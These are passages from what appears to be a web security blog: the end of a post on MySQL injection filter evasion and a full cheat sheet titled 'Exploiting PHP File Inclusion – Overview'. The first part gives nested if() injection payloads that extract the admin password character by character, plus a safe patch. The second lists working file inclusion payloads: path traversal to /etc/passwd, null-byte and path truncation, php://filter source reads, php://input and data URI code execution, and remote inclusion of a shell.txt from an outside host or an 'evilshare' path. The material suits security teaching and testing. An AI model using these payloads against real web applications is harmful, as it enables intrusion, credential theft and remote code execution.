After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin':

?id=if((name)like(0x61646D696E),1,0);%00

This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1:

?id=if((name)like(0x61646D696E),id,0);%00

Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection:

?id=
if(
  // if (it gets true if the name='admin')
	if((name)like(0x61646D696E),1,0),
  // then (if first password char='a' return admin id, else 0)
	if(mid((password),1,1)like(0x61),id,0),
  // else (return 0)
	0
);%00

Injection in one line:

?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00

Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet!

Conclusion

(My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time.

If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ?

Edit:
Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query.

Here is a safe patch for the example:

$id = (int) $_GET['id'];
$pass = mysql_real_escape_string($_GET['pass']);
$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' ");

For more details have a look at the comments.

More:
Part2, Part 3, SQLi filter evasion cheatsheet


Exploiting PHP File Inclusion – Overview

February 22, 2010

Recently I see a lot of questions regarding PHP File Inclusions and the possibilities you have. So I decided to give a small overview. All the tricks have been described in detail somewhere earlier, but I like it to have them summed up at one place.

Basic Local File Inclusion:

<?php include("inc/" . $_GET['file']); ?>
  • Including files in the same directory:
    ?file=.htaccess
  • Path Traversal:
    ?file=../../../../../../../../../var/lib/locate.db
    (this file is very interesting because it lets you search the filesystem, other files)
  • Including injected PHP code:
    ?file=../../../../../../../../../var/log/apache/error.log

    Limited Local File Inclusion:

    <?php include("inc/" . $_GET['file'] . ".htm"); ?>
    • Null Byte Injection:
      ?file=../../../../../../../../../etc/passwd%00
      (requires magic_quotes_gpc=off)
    • Directory Listing with Null Byte Injection:
      ?file=../../../../../../../../../var/www/accounts/%00
      (UFS filesystem only, requires magic_quotes_gpc=off, more details here)
    • Path Truncation:
      ?file=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ …
      (more details see here and here)
    • Dot Truncation:
      ?file=../../../../../../../../../etc/passwd……………. …
      (Windows only, more details here)
    • Reverse Path Truncation:
      ?file=../../../../ […] ../../../../../etc/passwd
      (more details here)

    Basic Remote File Inclusion

    <?php include($_GET['file']); ?>
    • Including Remote Code:
      ?file=[http|https|ftp]://websec.wordpress.com/shell.txt
      (requires allow_url_fopen=On and allow_url_include=On)
    • Using PHP stream php://input:
      ?file=php://input
      (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On)
    • Using PHP stream php://filter:
      ?file=php://filter/convert.base64-encode/resource=index.php
      (lets you read PHP source because it wont get evaluated in base64. More details here and here)

    • Using data URIs:
      ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo=
      (requires allow_url_include=On)
    • Using XSS:
      ?file=http://127.0.0.1/path/xss.php?xss=phpcode
      (makes sense if firewalled or only whitelisted domains allowed)

    Limited Remote File Inclusion

    <?php include($_GET['file'] . ".htm"); ?>
    • ?file=http://websec.wordpress.com/shell
    • ?file=http://websec.wordpress.com/shell.txt?
    • ?file=http://websec.wordpress.com/shell.txt%23
    • (requires allow_url_fopen=On and allow_url_include=On)

    • ?file=\\evilshare\shell.php
    • (bypasses allow_url_fopen=Off)

    Static Remote File Inclusion:

    <?php include("http://192.168.1.10/config.php"); ?>
    • Man In The Middle
      (lame indeed, but often forgotten)

    Filter evasion

    • Access files with wildcards (read more here)

    Of course you can combine all the tricks. If you are aware of any other or interesting files to include please leave a comment and I’ll add them.


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